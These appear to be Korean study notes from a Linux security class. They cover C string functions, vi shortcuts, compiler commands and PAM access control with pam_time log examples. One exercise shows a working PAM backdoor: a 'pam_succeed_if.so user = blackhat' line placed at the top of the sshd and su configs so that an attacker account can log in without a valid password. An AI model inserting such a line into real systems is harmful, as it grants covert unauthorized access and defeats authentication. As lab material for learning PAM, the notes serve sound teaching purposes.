strcmp(), strcasecmp() 함수 사용법
pam_succeed_if.c 코드에서 사용된 공통함수
strcmp
=> s1값이 s2보다 작다면 음수 리턴, 같으면 0 리턴, 크면 양수 리턴
strcasecmp
=> 인자 s1, s2값이 서로 같으면 0을 리턴한다
vi 사용법 복습 및 단축키 학습
수평분할 : new
수직분할 : vs
분할된 멀티창에서
수직
왼오창 변경 : Ctrl + w + L
수평
위아래 창 변경 : Ctrl + w + J
분할창 크기 똑같이 : Ctrl + w + =
커서를 다른 창으로 옮기기 : Ctrl + w + w (Ctrl + w + 왼쪽/오른쪽 화살표도 가능)
vi 블럭지정 : v키를 누른후 키보드 화살표로 지정
블럭지정후 "ay 입력하면 레지스터 a (메모리, 클립보드와 유사한 버퍼)에 복사, "ap 붙여넣기.
응용 : "by, "bp 등. y 앞에는 저장할 레지스터명을 입력한다. a-z까지 사용가능. A-Z는 기존 내용에 추가.
:registers 또는 :reg 하면 리스트 볼 수 있음
:r !ls %
=> 현재 vi로 연 파일의 파일명(%)을 가져와 커서 아랫줄에 붙여넣기
k
=> 커서를 한 줄 위로 올림
J
=> 붙여넣은 파일명을 커서 위치로 옮김
레지스터에 복사하면 vi를 종료해도 레지스터에 남아있는 한 계속 복사된 상태
치환
:s%/\t/ /g
=> 탭키를 공백으로 변경하기 (탭키 때문에 정렬이 흐트러질 때)
s% 전체범위
\t 탭키
/g 한 라인에 여러 개가 있어도 모두 교체
기본
:범위s/찾을문자/바꿀문자/옵션
u 실행취소
Ctrl + r 다시 실행
:r !ls %:t
=> 현재 파일의 파일명. 확장자 포함
:r !ls %:t:r
=> 현재 파일의 파일명에서 확장자를 떼고 가져온다
이를 응용하여 vi /etc/vimrc에 단축키를 설정하기
map :w!<cr>:!gcc -o %:t:r %:t && ./%:t:r<cr> |
=> :w! 저장
=> <cr> 엔터
=> :! 명령어
=> gcc -o 옵션
=> %:t:r 확장자명을 뗀 실행파일
=> %:t 확장자명을 포함한 컴파일할 파일
=> && gcc 명령어 성공 후에
=> ./%:t:r 만들어진 실행파일을 실행하고 <cr> 엔터
=> vi 수정후 바로 gcc로 컴파일하고 결과를 출력해볼 수 있는 단축키 완성 ( gcc 명령어에 -Wall 추가해주면 경고를 같이 출력해준다 )
gdb의 경우 : gdb -q 소스파일명
c++의 경우 : g++ -o 실행파일명 소스파일명
( std::cout << "메시지" << std::endl;
=> std 아래의 cout이용. endl이 엔터를 의미함 )
java의 경우 : javac 소스파일명 && java 실행파일명
rust 설치 : curl https://sh.rustup.rs -sSf | sh
rust의 경우 : rustc 소스파일명 && ./실행파일명
참고하면 좋은 사이트 : w3schools.com
편집-컴파일을 반복하기 좋은 설정
: 20vs. <- 20칸 크기의 파일탐색기 창을 열고
: Ctrl + w + w 하여 옆칸으로 가서 새 파일을 작성하거나
: Shift + p 로 파일의 내용물을 옆칸에 불러와 작성, 수정
Ctrl + w + 숫자 + > : 현재 창의 너비/높이를 n만큼 증가
Ctrl + w + 숫자 + < : 현재 창의 너비/높이를 n만큼 감소
Ctrl + w + _ + > 현재 창의 높이를 최대로
Ctrl + w + | + > 현재 창의 너비를 최대로
실습 ) pam 백도어
vi /etc/pam.d/sshd
vi /etc/pam.d/su
auth sufficient pam_succeed_if.so user = blackhat quiet use_uid
백도어를 사용할 해커의 id로 최상단에 추가
실습) pam_time 시간에 의한 접근 통제
참고 사이트 : https://linuxmaster.net/pam/linux-pam/sag-pam_time.html
vi /etc/pam.d/sshd 파일에
account required pam_time.so
pam_time 사용하는 라인을 하나 추가한다
pam_time.so 모듈은 /etc/security/time.conf 파일을 이용한다.
sshd 서비스에 대해, 모든 터미널 * 허용, root 계정에 대해, Su 일요일, 시간설정
조건이 맞지 않을 시, 해당 계정은 로그인 할 수 없다
요일
Mo Tu We Th Fr Sa Su Wk Wd Al
/var/log/secure
May 5 17:43:04 linuxboan1 sshd[57480]: Failed password for root from 192.168.100.123 port 50379 ssh2
May 5 17:43:04 linuxboan1 sshd[57480]: fatal: Access denied for user root by PAM account configuration [preauth]
=> account 타입의 pam_time에 의해 root 로그인이 거절되었다.
시간설정을 변경
May 5 17:45:43 linuxboan1 sshd[57489]: Accepted password for root from 192.168.100.1 port 50383 ssh2
May 5 17:45:43 linuxboan1 sshd[57489]: pam_unix(sshd:session): session opened for user root by (uid=0)
=> 시간설정에 맞도록 변경하자, 로그인 성공